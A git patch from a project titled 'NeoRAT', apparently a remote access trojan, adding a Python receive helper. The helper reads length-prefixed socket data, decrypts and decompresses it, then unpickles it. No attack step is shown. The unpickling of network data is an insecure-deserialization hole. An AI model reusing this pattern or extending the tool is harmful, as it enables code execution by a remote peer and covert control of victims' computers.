From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- binary/data_handling/recv_data.py | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 binary/data_handling/recv_data.py (limited to 'binary/data_handling/recv_data.py') diff --git a/binary/data_handling/recv_data.py b/binary/data_handling/recv_data.py new file mode 100644 index 0000000..a329532 --- /dev/null +++ b/binary/data_handling/recv_data.py @@ -0,0 +1,26 @@ +import pickle +import zlib + + +def recv_data(conn, settings, callback=None): + encryption, headersize = settings + mode = [True, 0, b''] + + while True: + client_msg = conn.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + decrypted_msg = encryption.do_decrypt(mode[2][headersize:]) + decompressed_msg = zlib.decompress(decrypted_msg) + client_msg = pickle.loads(decompressed_msg) + + if callback: + callback(conn, client_msg) + + return client_msg \ No newline at end of file -- cgit v1.2.3